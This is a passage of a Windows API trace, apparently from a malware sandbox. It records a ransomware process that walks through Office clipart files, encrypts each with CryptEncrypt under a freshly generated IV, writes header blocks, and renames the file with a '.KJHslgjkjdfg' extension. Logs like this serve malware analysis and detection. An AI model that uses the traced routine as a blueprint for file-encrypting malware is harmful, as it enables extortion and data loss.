hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.640] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x81c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x81c, lpOverlapped=0x0) returned 1 [0191.640] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x820, dwBufLen=0x820 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x820) returned 1 [0191.640] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.640] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x820, lpOverlapped=0x0) returned 1 [0191.641] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.641] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.641] SetEndOfFile (hFile=0x114) returned 1 [0191.643] GetProcessHeap () returned 0x2a0000 [0191.643] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.643] GetProcessHeap () returned 0x2a0000 [0191.643] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf.kjhslgjkjdfg")) returned 1 [0191.645] CloseHandle (hObject=0x114) returned 1 [0191.645] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f34ba00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f34ba00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00170_.WMF", cAlternateFileName="")) returned 1 [0191.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.658] GetProcessHeap () returned 0x2a0000 [0191.658] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.692] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.692] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.693] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0191.702] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.702] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.702] GetProcessHeap () returned 0x2a0000 [0191.702] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.703] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.703] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.703] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.703] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.703] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.703] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.703] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.703] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.703] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.703] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.703] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.703] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1412, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1412, lpOverlapped=0x0) returned 1 [0191.704] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1420, dwBufLen=0x1420 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1420) returned 1 [0191.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.705] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1420, lpOverlapped=0x0) returned 1 [0191.705] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.705] SetEndOfFile (hFile=0x114) returned 1 [0191.707] GetProcessHeap () returned 0x2a0000 [0191.707] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.707] GetProcessHeap () returned 0x2a0000 [0191.708] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf.kjhslgjkjdfg")) returned 1 [0191.710] CloseHandle (hObject=0x114) returned 1 [0191.710] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d702300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d702300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x50c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00560_.WMF", cAlternateFileName="")) returned 1 [0191.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.711] GetProcessHeap () returned 0x2a0000 [0191.711] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.711] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.711] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.711] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.714] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.714] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.714] GetProcessHeap () returned 0x2a0000 [0191.714] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.714] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.714] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.714] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.714] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.714] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.714] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.714] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.715] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.715] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.715] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.715] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x50c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x50c, lpOverlapped=0x0) returned 1 [0191.715] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x510, dwBufLen=0x510 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x510) returned 1 [0191.715] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.715] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x510, lpOverlapped=0x0) returned 1 [0191.715] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.715] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.715] SetEndOfFile (hFile=0x114) returned 1 [0191.717] GetProcessHeap () returned 0x2a0000 [0191.718] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.718] GetProcessHeap () returned 0x2a0000 [0191.718] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf.kjhslgjkjdfg")) returned 1 [0191.719] CloseHandle (hObject=0x114) returned 1 [0191.720] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd194b700, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd194b700, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00642_.WMF", cAlternateFileName="")) returned 1 [0191.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.721] GetProcessHeap () returned 0x2a0000 [0191.721] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.721] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.721] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.723] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.723] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.723] GetProcessHeap () returned 0x2a0000 [0191.723] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.724] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.724] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.724] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.724] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.724] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.724] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.724] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.724] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.724] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.724] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x778, lpOverlapped=0x0) returned 1 [0191.724] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x780, dwBufLen=0x780 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x780) returned 1 [0191.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.724] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x780, lpOverlapped=0x0) returned 1 [0191.725] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.725] SetEndOfFile (hFile=0x114) returned 1 [0191.727] GetProcessHeap () returned 0x2a0000 [0191.727] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.727] GetProcessHeap () returned 0x2a0000 [0191.727] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf.kjhslgjkjdfg")) returned 1 [0191.729] CloseHandle (hObject=0x114) returned 1 [0191.729] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2094, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00788_.WMF", cAlternateFileName="")) returned 1 [0191.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.732] GetProcessHeap () returned 0x2a0000 [0191.732] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.732] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.732] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.732] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.735] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.735] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.735] GetProcessHeap () returned 0x2a0000 [0191.735] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.735] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.735] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.735] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.736] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.736] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.736] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.736] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.736] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.736] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.736] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.736] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.736] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2094, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2094, lpOverlapped=0x0) returned 1 [0191.739] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20a0, dwBufLen=0x20a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20a0) returned 1 [0191.739] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.739] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x20a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x20a0, lpOverlapped=0x0) returned 1 [0191.739] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.739] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.739] SetEndOfFile (hFile=0x114) returned 1 [0191.742] GetProcessHeap () returned 0x2a0000 [0191.742] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.742] GetProcessHeap () returned 0x2a0000 